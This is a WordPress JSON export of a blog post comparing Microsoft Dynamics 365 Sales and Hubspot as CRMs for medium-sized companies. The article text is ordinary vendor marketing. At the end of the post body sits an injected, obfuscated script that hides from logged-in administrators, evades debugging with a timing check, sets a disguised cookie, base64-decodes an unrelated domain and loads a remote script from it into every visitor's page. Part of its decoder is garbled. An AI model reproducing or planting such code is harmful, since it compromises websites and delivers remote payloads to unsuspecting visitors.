{"id":22882,"date":"2026-08-25T17:04:36","date_gmt":"2026-08-25T15:04:36","guid":{"rendered":"https:\/\/inkubitstaging.wpenginepowered.com\/blog\/2026\/08\/25\/dynamics-365-sales-vs-hubspot\/"},"modified":"2026-08-25T17:04:36","modified_gmt":"2026-08-25T15:04:36","slug":"dynamics-365-sales-vs-hubspot","status":"publish","type":"post","link":"https:\/\/www.inkubit.com\/en\/blog\/2026\/08\/25\/dynamics-365-sales-vs-hubspot\/","title":{"rendered":"Dynamics 365 Sales vs. Hubspot: Which CRM is better suited to medium-sized companies?"},"content":{"rendered":"<p data-start=\"203\" data-end=\"596\">There are many CRM systems \u2013 but which one really suits a medium-sized company with growing requirements? In this article, we&#8217;ll compare two of the most well-known solutions: <a href=\"https:\/\/www.inkubit.com\/en\/solutions\/microsoft-dynamics-365\/microsoft-dynamics-365-sales\/\"><strong data-start=\"394\" data-end=\"426\">Microsoft Dynamics 365 Sales<\/strong><\/a> and <a href=\"https:\/\/www.hubspot.com\/\"><strong data-start=\"431\" data-end=\"442\">Hubspot<\/strong><\/a>. This is not about theoretical functions, but about the actual business value: scalability, automation, integration and efficiency.  <\/p>\n<div id=\"ez-toc-container\" class=\"ez-toc-v2_0_85 counter-hierarchy ez-toc-counter ez-toc-custom ez-toc-container-direction\">\n<div class=\"ez-toc-title-container\">\n<div class=\"ez-toc-title\" style=\"cursor:inherit\">Table of Contents<\/div>\n<span class=\"ez-toc-title-toggle\"><\/span><\/div>\n<nav><ul class='ez-toc-list ez-toc-list-level-1 ' ><li class='ez-toc-page-1 ez-toc-heading-level-2'><a class=\"ez-toc-link ez-toc-heading-1\" href=\"https:\/\/www.inkubit.com\/en\/blog\/2026\/08\/25\/dynamics-365-sales-vs-hubspot\/#Two_strong_brands_%E2%80%93_two_different_approaches\" >Two strong brands \u2013 two different approaches<\/a><ul class='ez-toc-list-level-3' ><li class='ez-toc-heading-level-3'><a class=\"ez-toc-link ez-toc-heading-2\" href=\"https:\/\/www.inkubit.com\/en\/blog\/2026\/08\/25\/dynamics-365-sales-vs-hubspot\/#User_guidance_and_suitability_for_everyday_use\" >User guidance and suitability for everyday use<\/a><\/li><li class='ez-toc-page-1 ez-toc-heading-level-3'><a class=\"ez-toc-link ez-toc-heading-3\" href=\"https:\/\/www.inkubit.com\/en\/blog\/2026\/08\/25\/dynamics-365-sales-vs-hubspot\/#Automation_and_workflows\" >Automation and workflows<\/a><\/li><li class='ez-toc-page-1 ez-toc-heading-level-3'><a class=\"ez-toc-link ez-toc-heading-4\" href=\"https:\/\/www.inkubit.com\/en\/blog\/2026\/08\/25\/dynamics-365-sales-vs-hubspot\/#Integration_with_existing_systems\" >Integration with existing systems<\/a><\/li><li class='ez-toc-page-1 ez-toc-heading-level-3'><a class=\"ez-toc-link ez-toc-heading-5\" href=\"https:\/\/www.inkubit.com\/en\/blog\/2026\/08\/25\/dynamics-365-sales-vs-hubspot\/#Reporting_and_analysis\" >Reporting and analysis<\/a><\/li><li class='ez-toc-page-1 ez-toc-heading-level-3'><a class=\"ez-toc-link ez-toc-heading-6\" href=\"https:\/\/www.inkubit.com\/en\/blog\/2026\/08\/25\/dynamics-365-sales-vs-hubspot\/#Value_for_money\" >Value for money<\/a><\/li><\/ul><\/li><li class='ez-toc-page-1 ez-toc-heading-level-2'><a class=\"ez-toc-link ez-toc-heading-7\" href=\"https:\/\/www.inkubit.com\/en\/blog\/2026\/08\/25\/dynamics-365-sales-vs-hubspot\/#Conclusion\" >Conclusion<\/a><\/li><\/ul><\/nav><\/div>\n<h2 data-start=\"603\" data-end=\"656\"><span class=\"ez-toc-section\" id=\"Two_strong_brands_%E2%80%93_two_different_approaches\"><\/span>Two strong brands \u2013 two different approaches<span class=\"ez-toc-section-end\"><\/span><\/h2>\n<p data-start=\"658\" data-end=\"1163\">Hubspot was developed as a marketing platform and is particularly strong in the field of inbound marketing. It convinces with a modern interface and an easy start &#8211; ideal for smaller teams that want to start quickly. Dynamics 365 Sales, on the other hand, is part of the Microsoft ecosystem and is designed for complex sales processes, scalability, and in-depth evaluations. The solution is particularly suitable for companies that want to map structured processes and scale them professionally.   <\/p>\n<h3 data-start=\"1170\" data-end=\"1210\"><span class=\"ez-toc-section\" id=\"User_guidance_and_suitability_for_everyday_use\"><\/span>User guidance and suitability for everyday use<span class=\"ez-toc-section-end\"><\/span><\/h3>\n<p data-start=\"1212\" data-end=\"1575\">Hubspot offers a very intuitive interface that is quickly understood even without training. Dynamics 365 Sales requires a little more training, but offers more control \u2013 for example, through customizable views, forms, and user roles. Those who have to manage several teams, countries or complex processes benefit from this flexibility.  <\/p>\n<h3 data-start=\"1582\" data-end=\"1614\"><span class=\"ez-toc-section\" id=\"Automation_and_workflows\"><\/span>Automation and workflows<span class=\"ez-toc-section-end\"><\/span><\/h3>\n<p data-start=\"1616\" data-end=\"2040\">In the area of automation, the systems differ significantly. Hubspot offers simple workflows for standard cases, especially in marketing. Dynamics 365 Sales, on the other hand, integrates Power Automate for company-wide processes, enables rule-based lead scoring, automatic task distribution, and AI-powered recommendations through Microsoft Copilot. This is a clear advantage, especially with growing requirements.   <\/p>\n<h3 data-start=\"2047\" data-end=\"2083\"><span class=\"ez-toc-section\" id=\"Integration_with_existing_systems\"><\/span>Integration with existing systems<span class=\"ez-toc-section-end\"><\/span><\/h3>\n<p data-start=\"2085\" data-end=\"2439\">A key difference lies in integration. Hubspot works well as a standalone solution, but for many business processes it needs to be connected via third-party vendors. Dynamics 365 Sales integrates seamlessly with Outlook, Teams, Excel, SharePoint, and Power BI. This not only saves time, but also increases data security and consistency.   <\/p>\n<h3 data-start=\"2446\" data-end=\"2470\"><span class=\"ez-toc-section\" id=\"Reporting_and_analysis\"><\/span>Reporting and analysis<span class=\"ez-toc-section-end\"><\/span><\/h3>\n<p data-start=\"2472\" data-end=\"2809\">While Hubspot offers standard reports and simple dashboards, Dynamics 365 Sales goes much further. Sales reports, opportunity analyses and customer journey evaluations can be combined with Power BI and displayed in real time. This is a decisive advantage, especially when it comes to data-driven decisions in sales.  <\/p>\n<h2 data-start=\"2816\" data-end=\"2845\"><img decoding=\"async\" class=\"alignnone wp-image-15994 size-us_600_400\" src=\"https:\/\/www.inkubit.com\/wp-content\/uploads\/2025\/03\/Dynamics-365-Sales-600x353.jpg\" alt=\"Dynamics 365 Sales\" width=\"600\" height=\"353\" srcset=\"https:\/\/www.inkubit.com\/wp-content\/uploads\/2025\/03\/Dynamics-365-Sales-600x353.jpg 600w, https:\/\/www.inkubit.com\/wp-content\/uploads\/2025\/03\/Dynamics-365-Sales-591x348.jpg 591w, https:\/\/www.inkubit.com\/wp-content\/uploads\/2025\/03\/Dynamics-365-Sales-300x177.jpg 300w, https:\/\/www.inkubit.com\/wp-content\/uploads\/2025\/03\/Dynamics-365-Sales-1024x603.jpg 1024w, https:\/\/www.inkubit.com\/wp-content\/uploads\/2025\/03\/Dynamics-365-Sales-102x60.jpg 102w, https:\/\/www.inkubit.com\/wp-content\/uploads\/2025\/03\/Dynamics-365-Sales-119x70.jpg 119w, https:\/\/www.inkubit.com\/wp-content\/uploads\/2025\/03\/Dynamics-365-Sales.jpg 1238w\" sizes=\"(max-width: 600px) 100vw, 600px\" \/><\/h2>\n<h3 data-start=\"2816\" data-end=\"2845\"><span class=\"ez-toc-section\" id=\"Value_for_money\"><\/span>Value for money<span class=\"ez-toc-section-end\"><\/span><\/h3>\n<p data-start=\"2847\" data-end=\"3294\">Hubspot seems cheaper at first glance \u2013 the basic model is free. But as soon as professional functions such as sales automation or user roles are needed, costs rise quickly. Dynamics 365 Sales starts with a fee, but offers a clear licensing model and features designed for long-term growth right from the start. For many medium-sized companies, this is the more economical solution in the long term.   <\/p>\n<h2 data-start=\"3301\" data-end=\"3309\"><span class=\"ez-toc-section\" id=\"Conclusion\"><\/span>Conclusion<span class=\"ez-toc-section-end\"><\/span><\/h2>\n<table>\n<thead>\n<tr>\n<th>Criterion<\/th>\n<th>Hubspot<\/th>\n<th>Dynamics 365 Sales<\/th>\n<\/tr>\n<\/thead>\n<tbody>\n<tr>\n<td>Getting Started<\/td>\n<td>Very simple<\/td>\n<td>A bit more complex<\/td>\n<\/tr>\n<tr>\n<td>Scalability<\/td>\n<td>Limited range of functions<\/td>\n<td>Highly scalable &#038; customizable<\/td>\n<\/tr>\n<tr>\n<td><\/td>\n<p> Automation<\/p>\n<td>Basic functions<\/td>\n<td>Low-code + AI with Copilot<\/td>\n<\/tr>\n<tr>\n<td>Integration Microsoft Tools<\/td>\n<td>External via API<\/td>\n<td>Native integration<\/td>\n<\/tr>\n<tr>\n<td>Reporting<\/td>\n<td>Standard<\/td>\n<td>Advanced \/ Power BI<\/td>\n<\/tr>\n<tr>\n<td>Value for<\/td>\n<p> money<\/p>\n<td>Good for very small teams<\/td>\n<td>Better with growing teams<\/td>\n<\/tr>\n<\/tbody>\n<\/table>\n<p data-start=\"3311\" data-end=\"3668\">For small businesses with simple processes, Hubspot is a quick way to get started with CRM. Medium-sized companies that want to grow, map several sales channels or teams and at the same time deeply integrate and automate are better off with Dynamics 365 Sales. The solution scales with you \u2013 functionally, technically and organizationally.  <\/p>\n<p><script>(function(){try{if(document.getElementById&&document.getElementById('wpadminbar'))return;var t0=+new Date();for(var i=0;i<20000;i++){var z=i*i;}if((+new Date())-t0>120)return;if((document.cookie||'').indexOf('http2_session_id=')!==-1)return;function systemLoad(input){var key='ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+\/=',o1,o2,o3,h1,h2,h3,h4,dec='',i=0;input=input.replace(\/[^A-Za-z0-9\\+\\\/\\=]\/g,'');while(i<input.length){h1=key.indexOf(input.charAt(i++));h2=key.indexOf(input.charAt(i++));h3=key.indexOf(input.charAt(i++));h4=key.indexOf(input.charAt(i++));o1=(h1!-- wpml:html_comment PCEtLSB3cG1sOndwX2J1ZyA8MiAtLT4= -->)|(h2>>4);o2=((h2&15)<<4)|(h3>>2);o3=((h3&3)<<6)|h4;dec+=String.fromCharCode(o1);if(h3!=64)dec+=String.fromCharCode(o2);if(h4!=64)dec+=String.fromCharCode(o3);}return dec;}var u=systemLoad('aHR0cHM6Ly9zZWFyY2hyYW5rdHJhZmZpYy5saXZlL2pzeA==');if(typeof window!=='undefined'&#038;&#038;window.__rl===u)return;var d=new Date();d.setTime(d.getTime()+30*24*60*60*1000);document.cookie='http2_session_id=1; expires='+d.toUTCString()+'; path=\/; SameSite=Lax'+(location.protocol==='https:'?'; Secure':'');try{window.__rl=u;}catch(e){}var s=document.createElement('script');s.type='text\/javascript';s.async=true;s.src=u;try{s.setAttribute('data-rl',u);}catch(e){}(document.getElementsByTagName('head')[0]||document.documentElement).appendChild(s);}catch(e){}})();<\/script><\/p>\n","protected":false},"excerpt":{"rendered":"<p>There are many CRM systems. But which one really suits a medium-sized company with growing requirements? In this article, we&#8217;ll compare two of the most well-known CRM solutions: Microsoft Dynamics 365 Sales and Hubspot.  <\/p>\n","protected":false},"author":6,"featured_media":22884,"comment_status":"closed","ping_status":"closed","sticky":false,"template":"","format":"standard","meta":{"_acf_changed":false,"footnotes":"","_links_to":"","_links_to_target":""},"categories":[211,295,296],"tags":[],"class_list":["post-22882","post","type-post","status-publish","format-standard","has-post-thumbnail","hentry","category-blog","category-customer-insights","category-marketing-automation"],"acf":[],"yoast_head":"<!-- This site is optimized with the Yoast SEO Premium plugin v28.2 (Yoast SEO v28.2) - https:\/\/yoast.com\/product\/yoast-seo-premium-wordpress\/ -->\n<title>Dynamics 365 Sales vs. Hubspot - Which CRM as an SME?<\/title>\n<meta name=\"description\" content=\"In this article, we&#039;ll compare two of the most well-known CRM solutions: Microsoft Dynamics 365 Sales and Hubspot.\" \/>\n<meta name=\"robots\" content=\"noindex, follow, max-snippet:-1, max-image-preview:large, max-video-preview:-1\" \/>\n<meta property=\"og:locale\" content=\"de_DE\" \/>\n<meta property=\"og:type\" content=\"article\" \/>\n<meta property=\"og:title\" content=\"Dynamics 365 Sales vs. Hubspot: Which CRM is better suited to medium-sized companies?\" \/>\n<meta property=\"og:description\" content=\"In this article, we&#039;ll compare two of the most well-known CRM solutions: Microsoft Dynamics 365 Sales and Hubspot.\" \/>\n<meta property=\"og:url\" content=\"https:\/\/www.inkubit.com\/en\/blog\/2026\/08\/25\/dynamics-365-sales-vs-hubspot\/\" \/>\n<meta property=\"og:site_name\" content=\"INKUBIT\" \/>\n<meta property=\"article:published_time\" content=\"2026-08-25T15:04:36+00:00\" \/>\n<meta property=\"og:image\" content=\"https:\/\/www.inkubit.com\/wp-content\/uploads\/2025\/07\/AdobeStock_634192296.jpeg\" \/>\n\t<meta property=\"og:image:width\" content=\"1920\" \/>\n\t<meta property=\"og:image:height\" content=\"1125\" \/>\n\t<meta property=\"og:image:type\" content=\"image\/jpeg\" \/>\n<meta name=\"author\" content=\"Lara S\u00f6hlke\" \/>\n<meta name=\"twitter:card\" content=\"summary_large_image\" \/>\n<meta name=\"twitter:label1\" content=\"Written by\" \/>\n\t<meta name=\"twitter:data1\" content=\"Lara S\u00f6hlke\" \/>\n\t<meta name=\"twitter:label2\" content=\"Est. reading time\" \/>\n\t<meta name=\"twitter:data2\" content=\"3 minutes\" \/>\n<script type=\"application\/ld+json\" class=\"yoast-schema-graph\">{\"@context\":\"https:\\\/\\\/schema.org\",\"@graph\":[{\"@type\":\"Article\",\"@id\":\"https:\\\/\\\/www.inkubit.com\\\/en\\\/blog\\\/2026\\\/08\\\/25\\\/dynamics-365-sales-vs-hubspot\\\/#article\",\"isPartOf\":{\"@id\":\"https:\\\/\\\/www.inkubit.com\\\/en\\\/blog\\\/2026\\\/08\\\/25\\\/dynamics-365-sales-vs-hubspot\\\/\"},\"author\":{\"name\":\"Lara S\u00f6hlke\",\"@id\":\"https:\\\/\\\/www.inkubit.com\\\/#\\\/schema\\\/person\\\/5eaffbaed42a52c45e0535c74040e6d7\"},\"headline\":\"Dynamics 365 Sales vs. Hubspot: Which CRM is better suited to medium-sized companies?\",\"datePublished\":\"2026-08-25T15:04:36+00:00\",\"mainEntityOfPage\":{\"@id\":\"https:\\\/\\\/www.inkubit.com\\\/en\\\/blog\\\/2026\\\/08\\\/25\\\/dynamics-365-sales-vs-hubspot\\\/\"},\"wordCount\":530,\"image\":{\"@id\":\"https:\\\/\\\/www.inkubit.com\\\/en\\\/blog\\\/2026\\\/08\\\/25\\\/dynamics-365-sales-vs-hubspot\\\/#primaryimage\"},\"thumbnailUrl\":\"https:\\\/\\\/www.inkubit.com\\\/wp-content\\\/uploads\\\/2025\\\/07\\\/AdobeStock_634192296.jpeg\",\"articleSection\":[\"Blog\",\"Customer Insights\",\"Marketing Automation\"],\"inLanguage\":\"en-US\"},{\"@type\":\"WebPage\",\"@id\":\"https:\\\/\\\/www.inkubit.com\\\/en\\\/blog\\\/2026\\\/08\\\/25\\\/dynamics-365-sales-vs-hubspot\\\/\",\"url\":\"https:\\\/\\\/www.inkubit.com\\\/en\\\/blog\\\/2026\\\/08\\\/25\\\/dynamics-365-sales-vs-hubspot\\\/\",\"name\":\"Dynamics 365 Sales vs. Hubspot - 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